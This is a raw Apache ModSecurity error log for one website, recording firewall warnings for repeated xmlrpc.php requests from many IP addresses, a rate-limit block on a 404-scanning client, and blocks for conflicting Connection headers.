[Thu Apr 16 13:16:57.648950 2026] [:error] [pid 57537:tid 57576] [client 157.66.27.22:55420] [client 157.66.27.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.66.27.22, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBwyVVQRS8nm73ENAl3IwAAAEE"]
[Thu Apr 16 13:17:30.785363 2026] [:error] [pid 57538:tid 57616] [client 93.16.216.118:42966] [client 93.16.216.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 93.16.216.118, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBw6suMaiEF5SVR2BeNzAAAAI4"]
[Thu Apr 16 13:18:53.871535 2026] [:error] [pid 57639:tid 57667] [client 147.93.7.21:48036] [client 147.93.7.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.93.7.21, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBxPaMCQoTw7TsxWumGxwAAANU"]
[Thu Apr 16 13:19:33.116855 2026] [:error] [pid 29603:tid 29622] [client 152.42.226.162:58660] [client 152.42.226.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.42.226.162, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBxZVfGOR6fpTWUAzo56gAAARE"]
[Thu Apr 16 13:21:40.246878 2026] [:error] [pid 57536:tid 57552] [client 141.94.27.49:59476] [client 141.94.27.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.94.27.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBx5CQU4faGja6jpDvXLAAAAAQ"]
[Thu Apr 16 13:21:54.930376 2026] [:error] [pid 57538:tid 57603] [client 116.193.73.128:27282] [client 116.193.73.128] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 116.193.73.128, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBx8suMaiEF5SVR2BeOCwAAAIE"]
[Thu Apr 16 13:25:47.744187 2026] [:error] [pid 57639:tid 57660] [client 51.210.123.31:38564] [client 51.210.123.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.210.123.31, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBy26MCQoTw7TsxWumIJwAAAM4"]
[Thu Apr 16 13:26:53.151848 2026] [:error] [pid 7880:tid 7908] [client 5.135.142.201:48516] [client 5.135.142.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.135.142.201, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBzHaaezm4fSGc0yUIpLQAAAZc"]
[Thu Apr 16 13:28:19.907413 2026] [:error] [pid 57536:tid 57564] [client 200.105.164.183:54448] [client 200.105.164.183] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 200.105.164.183, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBzcyQU4faGja6jpDvZmwAAABA"]
[Thu Apr 16 13:28:33.873395 2026] [:error] [pid 29603:tid 29616] [client 160.250.186.233:53152] [client 160.250.186.233] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.250.186.233, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBzgVfGOR6fpTWUAzo6vwAAAQs"]
[Thu Apr 16 13:29:10.572611 2026] [:error] [pid 57538:tid 57626] [client 104.168.115.206:51232] [client 104.168.115.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.168.115.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBzpsuMaiEF5SVR2BeOoAAAAJg"]
[Thu Apr 16 13:30:05.225184 2026] [:error] [pid 7880:tid 7893] [client 78.46.191.135:48040] [client 78.46.191.135] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.46.191.135, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeBz3aaezm4fSGc0yUIp-wAAAYg"]
[Thu Apr 16 13:31:08.658627 2026] [:error] [pid 57639:tid 57666] [client 167.172.55.225:52096] [client 167.172.55.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.172.55.225, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeB0HKMCQoTw7TsxWumJtAAAANQ"]
[Thu Apr 16 13:32:42.241395 2026] [:error] [pid 57639:tid 57662] [client 88.87.70.158:57204] [client 88.87.70.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.87.70.158, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeB0eqMCQoTw7TsxWumKfAAAANA"]
[Thu Apr 16 13:34:01.446774 2026] [:error] [pid 57537:tid 57593] [client 82.223.114.111:45368] [client 82.223.114.111] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.114.111, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeB0yVVQRS8nm73ENAl49wAAAFI"]
[Thu Apr 16 13:34:46.661051 2026] [:error] [pid 57639:tid 57670] [client 200.105.164.183:34508] [client 200.105.164.183] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 200.105.164.183, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeB09qMCQoTw7TsxWumLiAAAANg"]
[Thu Apr 16 13:37:19.925516 2026] [:error] [pid 57639:tid 57646] [client 104.236.197.157:37456] [client 104.236.197.157] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.236.197.157, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeB1j6MCQoTw7TsxWumMvAAAAMA"]
[Thu Apr 16 13:39:40.236945 2026] [:error] [pid 7880:tid 7892] [client 148.113.209.194:34172] [client 148.113.209.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.209.194, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeB2HKaezm4fSGc0yUIsBwAAAYc"]
[Thu Apr 16 13:41:38.811898 2026] [:error] [pid 57639:tid 57657] [client 217.160.225.18:51392] [client 217.160.225.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.160.225.18, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeB2kqMCQoTw7TsxWumNsAAAAMs"]
[Thu Apr 16 13:53:49.280780 2026] [:error] [pid 57536:tid 57558] [client 217.182.82.42:43910] [client 217.182.82.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.182.82.42, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeB5bSQU4faGja6jpDvhgwAAAAo"]
[Thu Apr 16 13:53:53.293030 2026] [:error] [pid 57639:tid 57656] [client 146.59.232.195:36768] [client 146.59.232.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.59.232.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeB5caMCQoTw7TsxWumShAAAAMo"]
[Thu Apr 16 13:55:42.845650 2026] [:error] [pid 57536:tid 57560] [client 149.202.83.206:35738] [client 149.202.83.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.202.83.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeB53iQU4faGja6jpDvhzgAAAAw"]
[Thu Apr 16 14:01:21.867467 2026] [:error] [pid 49094:tid 49098] [client 62.169.28.251:46922] [client 62.169.28.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.169.28.251, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeB7MTbDwvcXorHR_MwvsgAAAUI"]
[Thu Apr 16 14:01:47.199489 2026] [:error] [pid 57536:tid 57571] [client 146.190.84.203:46902] [client 146.190.84.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.190.84.203, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeB7SyQU4faGja6jpDvjHAAAABc"]
[Thu Apr 16 14:02:44.010633 2026] [:error] [pid 49094:tid 49108] [client 194.164.91.114:46250] [client 194.164.91.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.164.91.114, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeB7hDbDwvcXorHR_MwvyQAAAUw"]
[Thu Apr 16 14:03:45.599822 2026] [:error] [pid 57639:tid 57665] [client 108.181.199.63:43068] [client 108.181.199.63] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 108.181.199.63, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeB7waMCQoTw7TsxWumWZwAAANM"]
[Thu Apr 16 14:09:09.924543 2026] [:error] [pid 29603:tid 29612] [client 157.245.42.243:54290] [client 157.245.42.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.42.243, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeB9BVfGOR6fpTWUAzo-zQAAAQc"]
[Thu Apr 16 14:09:22.699277 2026] [:error] [pid 29603:tid 29605] [client 160.250.186.233:49044] [client 160.250.186.233] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.250.186.233, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeB9ElfGOR6fpTWUAzo-4QAAAQA"]
[Thu Apr 16 14:09:35.213577 2026] [:error] [pid 57639:tid 57646] [client 185.199.223.93:50154] [client 185.199.223.93] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.93, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeB9H6MCQoTw7TsxWumYVwAAAMA"]
[Thu Apr 16 14:10:37.380686 2026] [:error] [pid 7880:tid 7893] [client 34.140.181.23:63201] [client 34.140.181.23] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.140.181.23, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeB9Xaaezm4fSGc0yUIyDQAAAYg"]
[Thu Apr 16 14:15:34.508169 2026] [:error] [pid 57536:tid 57556] [client 157.230.98.69:42088] [client 157.230.98.69] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.230.98.69, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeB-hiQU4faGja6jpDvl4gAAAAg"]
[Thu Apr 16 14:16:12.555333 2026] [:error] [pid 7880:tid 7889] [client 89.163.159.173:37926] [client 89.163.159.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.163.159.173, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeB-rKaezm4fSGc0yUIy-gAAAYQ"]
[Thu Apr 16 14:17:15.955121 2026] [:error] [pid 57639:tid 57650] [client 164.132.207.73:60700] [client 164.132.207.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.132.207.73, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeB-66MCQoTw7TsxWumaBQAAAMQ"]
[Thu Apr 16 14:20:20.029877 2026] [:error] [pid 7880:tid 7909] [client 51.159.142.108:33490] [client 51.159.142.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.159.142.108, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeB_pKaezm4fSGc0yUI0UwAAAZg"]
[Thu Apr 16 14:21:04.657374 2026] [:error] [pid 57639:tid 57663] [client 107.180.241.110:59264] [client 107.180.241.110] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.180.241.110, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeB_0KMCQoTw7TsxWumc5AAAANE"]
[Thu Apr 16 14:21:15.734876 2026] [:error] [pid 57537:tid 57584] [client 134.209.114.227:32812] [client 134.209.114.227] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 134.209.114.227, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeB_21VQRS8nm73ENAl8cAAAAEk"]
[Thu Apr 16 14:21:32.188396 2026] [:error] [pid 57639:tid 57647] [client 104.236.197.157:50160] [client 104.236.197.157] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.236.197.157, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeB_7KMCQoTw7TsxWumdTwAAAME"]
[Thu Apr 16 14:22:02.279493 2026] [:error] [pid 57536:tid 57554] [client 158.69.220.86:59996] [client 158.69.220.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 158.69.220.86, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCACiQU4faGja6jpDvoUQAAAAY"]
[Thu Apr 16 14:23:41.789113 2026] [:error] [pid 57639:tid 57669] [client 40.115.139.4:1366] [client 40.115.139.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/elp.php"] [unique_id "aeCAbaMCQoTw7TsxWumeGQAAANc"]
[Thu Apr 16 14:23:42.248882 2026] [:error] [pid 57639:tid 57659] [client 40.115.139.4:1351] [client 40.115.139.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/elp.php"] [unique_id "aeCAbqMCQoTw7TsxWumeGgAAAM0"]
[Thu Apr 16 14:23:42.749201 2026] [:error] [pid 57639:tid 57648] [client 40.115.139.4:1867] [client 40.115.139.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/elp.php"] [unique_id "aeCAbqMCQoTw7TsxWumeHAAAAMI"]
[Thu Apr 16 14:23:43.215734 2026] [:error] [pid 49094:tid 49104] [client 40.115.139.4:1378] [client 40.115.139.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/elp.php"] [unique_id "aeCAbzbDwvcXorHR_MwyqAAAAUg"]
[Thu Apr 16 14:25:31.129619 2026] [:error] [pid 7880:tid 7908] [client 147.182.174.7:54074] [client 147.182.174.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.182.174.7, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCA26aezm4fSGc0yUI1GwAAAZc"]
[Thu Apr 16 14:26:57.360459 2026] [:error] [pid 57639:tid 57664] [client 43.164.195.17:60236] [client 43.164.195.17] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aeCBMaMCQoTw7TsxWumgLQAAANI"]
[Thu Apr 16 14:27:56.869131 2026] [:error] [pid 49094:tid 49115] [client 123.30.233.48:38564] [client 123.30.233.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 123.30.233.48, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCBbDbDwvcXorHR_MwzkAAAAVM"]
[Thu Apr 16 14:29:01.872164 2026] [:error] [pid 49094:tid 49100] [client 185.199.223.27:60844] [client 185.199.223.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.27, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCBrTbDwvcXorHR_MwzpgAAAUQ"]
[Thu Apr 16 14:33:42.722096 2026] [:error] [pid 57536:tid 57556] [client 143.244.166.58:35488] [client 143.244.166.58] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.244.166.58, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCCxiQU4faGja6jpDvrowAAAAg"]
[Thu Apr 16 14:39:25.151587 2026] [:error] [pid 7880:tid 7906] [client 185.199.223.27:33508] [client 185.199.223.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.27, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCEHaaezm4fSGc0yUI5mwAAAZU"]
[Thu Apr 16 14:40:30.895960 2026] [:error] [pid 57536:tid 57567] [client 75.127.14.16:54974] [client 75.127.14.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 75.127.14.16, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCEXiQU4faGja6jpDvvCwAAABM"]
[Thu Apr 16 14:44:03.295368 2026] [:error] [pid 57536:tid 57572] [client 85.128.143.131:36200] [client 85.128.143.131] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.131, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCFMyQU4faGja6jpDvv6wAAABg"]
[Thu Apr 16 14:44:09.549106 2026] [:error] [pid 57639:tid 57666] [client 148.113.189.81:54930] [client 148.113.189.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.189.81, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCFOaMCQoTw7TsxWumrFwAAANQ"]
[Thu Apr 16 14:52:01.651516 2026] [:error] [pid 57538:tid 57610] [client 143.244.166.58:47558] [client 143.244.166.58] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.244.166.58, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCHEcuMaiEF5SVR2BeYpAAAAIg"]
[Thu Apr 16 14:52:18.597444 2026] [:error] [pid 49094:tid 49110] [client 35.198.41.118:60628] [client 35.198.41.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.198.41.118, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCHIjbDwvcXorHR_Mw4wQAAAU4"]
[Thu Apr 16 14:52:32.623771 2026] [:error] [pid 57536:tid 57560] [client 141.94.18.111:34212] [client 141.94.18.111] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.94.18.111, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCHMCQU4faGja6jpDvx9wAAAAw"]
[Thu Apr 16 14:55:26.249308 2026] [:error] [pid 57639:tid 57670] [client 217.154.192.21:51696] [client 217.154.192.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.154.192.21, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCH3qMCQoTw7TsxWumu8AAAANg"]
[Thu Apr 16 14:57:27.715474 2026] [:error] [pid 57536:tid 57554] [client 43.166.253.94:54650] [client 43.166.253.94] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aeCIVyQU4faGja6jpDvzMAAAAAY"]
